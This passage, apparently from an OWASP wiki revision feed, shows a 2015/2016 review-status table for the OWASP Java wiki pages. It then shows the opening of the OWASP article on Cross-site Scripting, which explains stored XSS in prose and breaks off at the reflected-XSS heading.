|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[State synchronization error]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in validator.xml using an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts XSLT Viewer]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Traducción Español]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|(See spanish page above)&lt;br /&gt;
|-&lt;br /&gt;
|[[Trust Boundary Violation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trustworthy Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Delete&lt;br /&gt;
|-&lt;br /&gt;
|[[Uncaught exception]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unchecked Return Value: Missing Check against Null ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unreleased Resource]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe JNI]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Mobile Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Reflection ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using JCaptcha ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Cryptographic Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Secure Socket Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[XPATH Injection Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP's_ESAPI_Wiki_for_Java!]]&lt;br /&gt;
| Check Project Status&lt;br /&gt;
|&lt;br /&gt;
| The entire ESAPI For Java project needs a review. In progress on ML.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=About=&lt;br /&gt;
&lt;br /&gt;
OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP Java Project WIPRO 1 - 2015/2016&lt;br /&gt;
| project_description = &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name1 = &lt;br /&gt;
| leader_email1 = &lt;br /&gt;
| leader_username1 = &lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = &lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=217630</id>
		<title>OWASP Java Project WIPRO 1 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=217630"/>
				<updated>2016-06-04T13:19:57Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Updated XSS reference&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;width:100%;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Java_Project_Header.png|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;font-size: 1.8em;&amp;quot;&amp;gt;Wiki Pages Review Operation - 2015/2016&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Main =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;width:100%&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
91 Pages in category &amp;quot;OWASP Java Pages&amp;quot; have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome. &lt;br /&gt;
&lt;br /&gt;
Shared Google document used to comment and review:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
* Start: 12/2015&lt;br /&gt;
* Last Update: 12/2015&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
N/A&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Pages List =&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Page&lt;br /&gt;
! Status&lt;br /&gt;
! Review&lt;br /&gt;
! Operations&lt;br /&gt;
|- &lt;br /&gt;
|[[Bytecode obfuscation]]&lt;br /&gt;
|&lt;br /&gt;
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Captchas in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Updated and not of interest. Marked for deletion.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Clickjacking Protection for Java EE]]&lt;br /&gt;
|&lt;br /&gt;
|Flagged for deletion, reason stated on page.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Command injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Comparing classes by name ]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Complejidad Y Longitud De Las Contraseñas ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Content Security Policy ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS OriginHeaderScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS RequestPreflighScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Cross-site Scripting (XSS) ]]&lt;br /&gt;
|&lt;br /&gt;
| Looks updated&lt;br /&gt;
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.&lt;br /&gt;
|-&lt;br /&gt;
|[[Declarative Access Control in Java]]&lt;br /&gt;
|&lt;br /&gt;
|gone&lt;br /&gt;
|Deleted by admin&lt;br /&gt;
|-&lt;br /&gt;
|[[Decompiling Java bytecode]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| DELETED&lt;br /&gt;
|-&lt;br /&gt;
|[[Deserialization of untrusted data]]&lt;br /&gt;
|&lt;br /&gt;
| Looks legit&lt;br /&gt;
| Looks legit&lt;br /&gt;
|-&lt;br /&gt;
|[[Detect profiling phase into web application]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Exception handling techniques ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Failure to follow guideline/specification ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hacking Java Clients ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hashing Java]]&lt;br /&gt;
| UNDER REVIEW&lt;br /&gt;
| Updated by Mark Gordon. Thank you!&lt;br /&gt;
| No action needed&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate-Guidelines ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to add validation logic to HttpServletRequest]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to encrypt a properties file ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Implementacion De Firmas Digitales en Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper Data Validation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper temp file opening ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Information Leakage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Randomness]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Transport]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insufficient Session-ID Length]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Invoking untrusted mobile code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Inyección De Comandos En Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE third party libraries insecurity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| redirected to dependency check&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Timed Login Module ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Tomcat Login Module]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Project Article Wishlist ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Frameworks]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Resources ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Server Faces ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP errorPage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP JSTL ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Leftover Debug Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Log Forging ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Logout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Member Field Race Condition]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Missing Error Handling]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Mobile Java Security ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Null Dereference]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Often Misused: Authentication ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Catch Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Throws Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP CSRFGuard Project/es ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP Java Table of Contents]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Parameter Validation Filter]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password length &amp;amp; complexity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Hardcoded Password]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Weak Cryptography ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Plaintext Storage ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[PDF Attack Filter for Java EE ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Poor Logging Practice]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing LDAP Injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing SQL Injection in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|redirected to sqlI cheatsheet&lt;br /&gt;
|-&lt;br /&gt;
|[[Process Control]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Protecting code archives with digital signatures]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Reflection attack in an auth protocol]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Return Inside Finally Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Securing tomcat]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Servlet spec - web.xml]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Fixation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Timeout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Signing jar files with jarsigner ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[State synchronization error]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in validator.xml using an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts XSLT Viewer]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Traducción Español]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trust Boundary Violation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trustworthy Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Delete&lt;br /&gt;
|-&lt;br /&gt;
|[[Uncaught exception]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unchecked Return Value: Missing Check against Null ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unreleased Resource]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe JNI]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Mobile Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Reflection ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using JCaptcha ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Cryptographic Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Secure Socket Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[XPATH Injection Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP's_ESAPI_Wiki_for_Java!]]&lt;br /&gt;
| Check Project Status&lt;br /&gt;
|&lt;br /&gt;
| The entire ESAPI For Java project needs a review. In progress on ML.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=About=&lt;br /&gt;
&lt;br /&gt;
OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP Java Project WIPRO 1 - 2015/2016&lt;br /&gt;
| project_description = &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name1 = &lt;br /&gt;
| leader_email1 = &lt;br /&gt;
| leader_username1 = &lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = &lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=217629</id>
		<title>Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=217629"/>
				<updated>2016-06-04T13:18:46Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Removed the Java association since it's much broarder than Java&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{template: Attack}}&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
==Overview==&lt;br /&gt;
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.&lt;br /&gt;
&lt;br /&gt;
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page. For more details on the different types of XSS flaws, see: [[Types of Cross-Site Scripting]].&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for Cross-site scripting  Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the latest [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to test for the various kinds of XSS vulnerabilities.&lt;br /&gt;
* [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS) attacks occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a Web application through an untrusted source, most frequently a web request. &lt;br /&gt;
# The data is included in dynamic content that is sent to a web user without being validated for malicious content. &lt;br /&gt;
&lt;br /&gt;
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.&lt;br /&gt;
&lt;br /&gt;
===[[#Stored and Reflected XSS Attacks|Stored and Reflected XSS Attacks]]===&lt;br /&gt;
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].&lt;br /&gt;
&lt;br /&gt;
====Stored XSS Attacks====&lt;br /&gt;
Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.&lt;br /&gt;
&lt;br /&gt;
====Reflected XSS Attacks====&lt;br /&gt;
